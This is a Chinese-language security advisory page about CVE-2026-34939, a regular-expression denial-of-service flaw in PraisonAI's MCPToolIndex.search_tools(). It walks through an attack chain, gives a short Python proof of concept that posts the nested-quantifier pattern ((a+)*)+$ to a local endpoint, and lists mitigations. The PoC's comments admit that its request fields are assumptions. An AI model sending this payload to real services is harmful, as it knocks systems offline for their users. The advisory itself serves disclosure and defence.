IPBUF安全漏洞报告
English
CVE-2026-34939 CVSS 6.5 中危

CVE-2026-34939 PraisonAI正则表达式拒绝服务漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34939
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

ReDoS拒绝服务PraisonAI正则表达式Catastrophic Backtracking

漏洞概述

PraisonAI是一个多智能体团队系统。在4.5.90版本之前,该系统中的MCPToolIndex.search_tools()函数存在严重的安全缺陷。该函数直接将调用者提供的字符串编译为Python正则表达式,且未进行任何形式的验证、清洗或设置超时机制。攻击者可以通过精心构造特殊的恶意正则表达式,触发Python正则表达式引擎中的灾难性回溯现象。这会导致Python线程被阻塞数百秒,从而造成服务完全不可用,即拒绝服务攻击。该问题已在版本4.5.90中修复。

技术细节

该漏洞的根源在于PraisonAI对用户输入的正则表达式处理不当。具体而言,MCPToolIndex.search_tools()方法直接接收用户输入并使用Python的re模块进行编译。正则表达式引擎在处理某些特定模式的字符串时(例如包含重叠匹配或复杂嵌套量词的模式),会进行指数级的尝试匹配,这种现象被称为灾难性回溯。攻击者无需高权限(仅需低权限账号),且无需用户交互,即可通过网络发送包含恶意正则模式的请求。当服务器尝试匹配该模式时,CPU利用率会瞬间飙升至100%,线程会长时间挂起,无法处理其他正常请求。由于Python的全局解释器锁(GIL)特性,这种密集计算可能会阻塞整个进程,导致整个服务中断。漏洞的CVSS向量显示其对可用性影响为高,符合拒绝服务的特征。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标运行的是PraisonAI且版本低于4.5.90。
STEP 2
2. 构造恶意载荷
攻击者构造一个包含复杂嵌套结构的正则表达式(如((a+)*)+$),该模式在特定输入下会触发灾难性回溯。
STEP 3
3. 发送攻击请求
攻击者通过低权限账号向MCPToolIndex.search_tools()接口发送包含恶意正则表达式的请求。
STEP 4
4. 资源耗尽
服务器端Python正则引擎尝试解析该模式,导致CPU长时间满载,线程阻塞,最终导致服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_redos(target_url): # A payload designed to cause catastrophic backtracking # Pattern: (a+)+$ matched against a string of 'a's malicious_payload = { "query": "(a+)+$" } # Data to trigger the backtracking # Assuming the API takes a input string to match against the regex # or the regex itself is the input. Based on description, the regex is caller-supplied. data = { "regex_pattern": "((a+)*)+$", "input_string": "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" } print(f"Sending ReDoS payload to {target_url}...") try: # Set a short timeout for the client to avoid hanging the tester's machine response = requests.post(target_url, json=data, timeout=10) print(f"Response code: {response.status_code}") except requests.exceptions.ReadTimeout: print("Potential successful DoS: Server did not respond within timeout.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint exploit_redos("http://localhost:8000/api/search_tools")

影响范围

PraisonAI < 4.5.90

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界实施速率限制以减缓攻击影响,并监控服务器CPU异常飙升的情况。可以在应用层面对输入的正则表达式进行白名单过滤,禁止使用包含嵌套量词等高风险特性的模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表